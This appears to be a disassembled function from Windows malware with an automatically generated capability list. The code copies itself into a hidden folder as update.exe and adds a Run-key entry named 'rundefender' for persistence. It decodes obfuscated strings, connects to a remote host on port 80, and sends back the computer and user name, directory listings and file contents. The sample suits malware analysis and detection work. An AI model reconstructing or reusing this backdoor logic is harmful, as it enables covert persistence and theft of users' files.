Function at 0x40882c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create directory
Create tcp socket
Create udp socket
Get hostname
Get session user name
Initialize winsock library
Persist via run registry key
Query environment variable
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set file attributes
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xf62d4
call fcn.00402440
sub esp, eax
call fcn.004015c0
mov dword [ebp - 0xc54], 0xf
mov dword [ebp - 0xc58], 0xf
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x925]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x408895
mov eax, 1
jmp 0x409524
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x925]
mov dword [esp], eax
call sub.msvcrt.dll_strrchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4088ba
add dword [ebp - 0x10], 1
jmp 0x4088c3
lea eax, [ebp - 0x925]
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.update.exe
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x408c2e
lea eax, [ebp - 0xc2f]
mov dword [eax], 0x62616c
lea eax, [ebp - 0xc2f]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0xc2f]
add eax, edx
mov dword [eax], 0x31303631
mov word [eax + 4], 0x3332
mov byte [eax + 6], 0
lea eax, [ebp - 0x818]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
lea eax, [ebp - 0xc2f]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40895a
mov eax, 1
jmp 0x409524
mov dword [esp], 0
call fcn.004095ac
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea eax, [ebp - 0xa2a]
mov dword [eax], 0x5c3a63
mov dword [ebp - 0x14], 3
jmp 0x4089bc
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 3
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1a
mov eax, ecx
sub eax, edx
add eax, 0x61
mov edx, eax
lea ecx, [ebp - 0xa2a]
mov eax, dword [ebp - 0x14]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0xa
jle 0x408983
mov byte [ebp - 0xa1f], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xa2a]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4089f7
mov eax, 1
jmp 0x409524
mov dword [esp + 4], 2
lea eax, [ebp - 0xa2a]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x408a25
mov eax, 1
jmp 0x409524
lea eax, [ebp - 0xa2a]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb2f]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0xb2f]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0xb2f]
add eax, edx
mov dword [eax], 0x6470755c
mov dword [eax + 4], 0x2e657461
mov dword [eax + 8], 0x657865
mov dword [esp + 8], 1
lea eax, [ebp - 0xb2f]
mov dword [esp + 4], eax
lea eax, [ebp - 0x925]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x408aa1
mov eax, 1
jmp 0x409524
lea eax, [ebp - 0x818]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x408ae7
mov eax, 1
jmp 0x409524
lea eax, [ebp - 0xb2f]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x818]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0xb2f]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.rundefender
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x408b44
mov eax, 1
jmp 0x409524
mov eax, dword [ebp - 0x818]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x81c]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x818]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0xc2f]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x408bc1
mov eax, 1
jmp 0x409524
mov dword [ebp - 0x820], 0x8c
mov eax, dword [ebp - 0x818]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x820]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.installed
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x408c1b
mov eax, 1
jmp 0x409524
mov eax, dword [ebp - 0x818]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, dword [str.2srpmriwsggiv2fi]
mov dword [esp + 4], eax
lea eax, [ebp - 0x90]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x90]
mov dword [esp], eax
call fcn.0040952c
mov eax, dword [str.WGERcPSGEP]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd0]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0xd0]
mov dword [esp], eax
call fcn.0040952c
mov eax, dword [str.WGERcRIX]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.0040952c
mov eax, dword [str.KIXcJMPI]
mov dword [esp + 4], eax
lea eax, [ebp - 0x150]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x150]
mov dword [esp], eax
call fcn.0040952c
mov eax, dword [str.UYMX]
mov dword [esp + 4], eax
lea eax, [ebp - 0x190]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x190]
mov dword [esp], eax
call fcn.0040952c
mov eax, dword [str.rsx_ix_mqtpiqirxih]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1d0]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x1d0]
mov dword [esp], eax
call fcn.0040952c
lea eax, [ebp - 0x1d0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0x1d0]
add eax, edx
mov word [eax], 0xa
mov eax, dword [str.yrorsr_gsqqerh]
mov dword [esp + 4], eax
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x210]
mov dword [esp], eax
call fcn.0040952c
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0x210]
add eax, edx
mov word [eax], 0xa
lea eax, [ebp - 0x3a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x408d94
mov eax, 1
jmp 0x409524
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x408dc8
mov eax, 1
jmp 0x409524
lea eax, [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x408dee
mov eax, 1
jmp 0x409524
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 0
jmp 0x408e36
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 4], eax
lea eax, [ebp - 0x414]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov eax, dword [eax]
test eax, eax
jne 0x408e00
lea eax, [ebp - 0x414]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x3ac], eax
mov word [ebp - 0x3b0], 2
mov dword [esp], 0x50
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x3ae], ax
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x3b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
jns 0x408ec3
mov dword [esp], 0x3c
call fcn.00402940
jmp 0x40951f
mov dword [ebp - 0x18], 1
lea eax, [ebp - 0xc54]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc3e]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
test eax, eax
jne 0x408efe
lea eax, [ebp - 0xc3e]
mov dword [eax], 0x6e6b6e75
mov dword [eax + 4], 0x6e776f
lea eax, [ebp - 0xc58]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc4d]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
test eax, eax
jne 0x408f32
lea eax, [ebp - 0xc4d]
mov dword [eax], 0x6e6b6e75
mov dword [eax + 4], 0x6e776f
lea eax, [ebp - 0xc3e]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xc4d]
mov dword [esp + 8], eax
mov dword [esp + 4], str.IMIN__s__s_n
lea eax, [ebp - 0x814]
mov dword [esp], eax
call fcn.0040957c
lea eax, [ebp - 0x814]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x814]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jns 0x409515
mov dword [esp], 0x3c
call fcn.00402940
mov dword [ebp - 0x18], 0
jmp 0x40951f
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x30], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0
lea eax, [ebp - 0xc5a]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov byte [ebp - 0xf629a], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0xc5a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
jmp 0x409075
lea eax, [ebp - 0xc5a]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf629a]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 8], 2
mov dword [esp + 4], 0
lea eax, [ebp - 0xc5a]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0xc5a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x409099
mov dword [esp + 4], 0x40b0b8
lea eax, [ebp - 0xc5a]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x409012
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4090b7
mov dword [esp], 0x3c
call fcn.00402940
mov dword [ebp - 0x18], 0
jmp 0x409515
lea eax, [ebp - 0xf629a]
movzx eax, byte [eax]
test al, al
je 0x409514
mov dword [esp + 4], 0x40b0ba
lea eax, [ebp - 0xf629a]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0xd0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4092d2
mov dword [ebp - 0x48], 0
mov dword [esp + 4], 0x40b0ba
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x409142
mov dword [esp], str.USERPROFILE
call sub.msvcrt.dll_getenv
mov dword [esp + 4], eax
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
jmp 0x4091b0
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40b0c8
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call fcn.0040957c
jmp 0x409193
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0xf4e9a]
add eax, edx
mov word [eax], 0x20
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x40b0ba
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x409161
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 1
movzx eax, byte [ebp + eax - 0xf4e9a]
cmp al, 0x5c
je 0x4091ea
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0xf4e9a]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call fcn.00402470
mov dword [ebp - 0x4c], eax
jmp 0x40926f
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call fcn.00402630
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x409277
mov eax, dword [ebp - 0x50]
add eax, 8
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xf4e9a]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_n
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call fcn.0040957c
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0xf5e9a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
cmp dword [ebp - 0x4c], 0
jne 0x4091fd
jmp 0x409278
nop
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call fcn.00402750
mov dword [esp + 4], 0x40b0b8
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call fcn.0040957c
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0xf5e9a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x409515
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x409324
lea eax, [ebp - 0x1d0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x1d0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x409515
lea eax, [ebp - 0x150]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4094be
mov dword [ebp - 0x34], 0
mov dword [esp + 4], 0x40b0ba
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x409515
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40b0c8
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call fcn.0040957c
jmp 0x4093d6
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
lea eax, [ebp - 0xf5e9a]
add eax, edx
mov word [eax], 0x20
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x40b0ba
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x4093a4
mov dword [esp + 4], 0x40b0d1
lea eax, [ebp - 0xf5e9a]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x409515
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xf4240
mov dword [esp + 4], 1
lea eax, [ebp - 0xf4e9a]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00408808
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x409515
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
lea eax, [ebp - 0xf4e9a]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.00408600
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sub.msvcrt.dll_free
jmp 0x409515
lea eax, [ebp - 0x190]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4094de
mov eax, 0
jmp 0x409524
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x409515
nop
cmp dword [ebp - 0x18], 0
jne 0x408fb0
jmp 0x408e85
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret